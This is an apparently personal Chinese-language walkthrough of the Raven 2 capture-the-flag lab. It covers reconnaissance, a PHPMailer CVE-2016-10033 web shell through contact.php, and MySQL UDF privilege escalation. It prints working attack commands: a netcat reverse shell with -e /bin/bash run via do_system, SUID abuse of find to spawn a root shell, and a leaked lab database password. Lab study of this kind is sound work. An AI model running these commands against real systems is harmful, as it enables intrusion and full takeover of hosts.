信息收集
主机发现
首先用nmap二层发现,扫描网段找到靶机ip
nmap -sn 192.168.3.1/24
确定靶机ip为:192.168.3.144
扫描服务
用nmap全端口扫描主机开启的服务,因为就在虚拟机,所以速度还是挺快的
nmap -sS -sV -T5 -A 192.168.3.144 -p 1-65535
可以看到,靶机开启了22端口的ssh服务,80端口的http服务,111端口的rpcbind服务
枚举
首先,爆破http服务目录
python3 dirsearch.py -u http://192.168.3.144/ -e* -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -t 20
可以看到,这台靶机无论是服务还是web目录其实跟Raven 1都是大同小异的,同样有一个wordpress站点,不过现在我们先打开vendor文件夹看看
这个文件夹下的所有文件我全都一个个翻出来看过,期中有几个有意思的文件
在path文件里我们找到了第一个flag,以及当前文件夹的绝对路径(这个后面getshell需要用到)
在SECURITY.md这个文件里,我们可以看到5.2.18以下的phpmailer存在一个CVE-2016-10033的漏洞
在changelog.md这个文件里,我们可以看到靶机的phpmailer的版本只是停留在5.2.17
也就是说这台靶机的phpmailer应该可以利用CVE-2016-10033漏洞
漏洞利用
我们在google上查找这个漏洞的利用脚本
选择第一个搜索结果,下载下来
关于漏洞利用,修改原脚本需要注意的几个地方:
- 第一个框起来的地方,target参数,填靶机的实际目标文件,这里填的是http://192.168.3.144/contact.php。我在这里被坑了好久,因为这个漏洞的利用是向靶机发送一封精心设计参数的攻击邮件,所以一定要找到靶机接收邮件的这个文件,contact.php在靶机里就是“联系我们”页面。
- 第二个红框框里填的是需要在后门里生成的后门文件名,我试了填backdoor.php,好像一直都不行,变成shell.php就可以,这个不知道为什么。。。
- 第三个红框框里,填的是攻击机监听反弹shell的ip和端口,根据自己的实际填,攻击之前,我们需要在攻击机里用nc先监听:
nc -lnvp 4444
。 - 第四个红框框里,根据上面path文件所知,我们填入后门文件的生成的绝对路径。
上面的参数修改完毕,看到出现这个页面
点击
http://192.168.3.144/contact.php
链接以后就会在网站根目录生成一个shell.php再次在浏览器打开
http://192.168.3.144/shell.php
触发生成一个反弹shell在/var/www/下找到flag2.txt
提权
首先用les.sh试过,只有两个highly probable的脚本,逐一试过,不行。不纠结,放弃
再用LinPEAS,输出信息真的很屌,一大堆,但是看不太懂,根据提示找了几个貌似敏感的文件,要么没有权限,要么没啥有用的信息。
最后用LinEnum再次枚举,这里我参考了网络上很多大佬的walkthrough,发现可以利用mysql的一个UDF(user defined function,即用户自定义函数)提权(需满足mysql版本<5.5,关于udf提权参考这篇文章)
我们查看mysql版本:
像Raven1一样,我们去到wordpress的目录下找到wp-config.php文件,拿到数据库连接密码
数据库连接信息:
root:R@v3nSecurity
因为我们的shell是一个tty,没办法用su,命令行连接mysql也不能正常显示,需要转换成pty),我们输入:
python -c 'import pty;pty.spawn("/bin/bash")'
获得一个伪终端,可以正常连接数据库,并且正常回显
我们的利用脚本是:https://www.exploit-db.com/exploits/1518
在kali上复制这个脚本
按照文档说明,编译成一个so文件
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
第一步,传到靶机以后,在靶机登录数据库,依次操作
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
第二步,退出mysql,继续操作
touch raj
find raj –exec "whoami" \;
find raj –exec "/bin/sh" \;
拿到了flag4.txt
关于flag3,我们之前用wpscan扫描wordpress
在这个页面可以找到
其他
关于提权,在udf的利用下,还可以在mysql中开一个nc,获得一个root的反弹shell
1,在靶机开一个监听
nc -nlvp 8888
2,在提权第一步的前提下,输入:
select do_system('nc -nv 192.168.3.67 8888 -e /bin/bash')
获得一个root shell
总结:
这台靶机我做的很困难,花了两三天的时间我才找到了flag1和flag3,我也知道应该利用PHPMailer 的远程代码执行漏洞getshell,但是一直卡在应该使用哪个靶机文件做攻击载体上,试了很多php文件都不行。后来看到大佬用的是contact.php,回过头来想,这不是明摆着的吗,contact当然就是拿来发邮件的啊。。。只能说我当时脑子秀逗了。。
getshell和提权都参考了网上各个大佬的walkthrough,大开眼界,学到了很多。pty我之前也没有接触过,用tty连数据库时各种不方便,后来看大佬的打法才知道,我靠,还可以这样?!
udf提权我第一次接触和使用,积累了一种提权的思路和方法。
犯过的傻都是经验。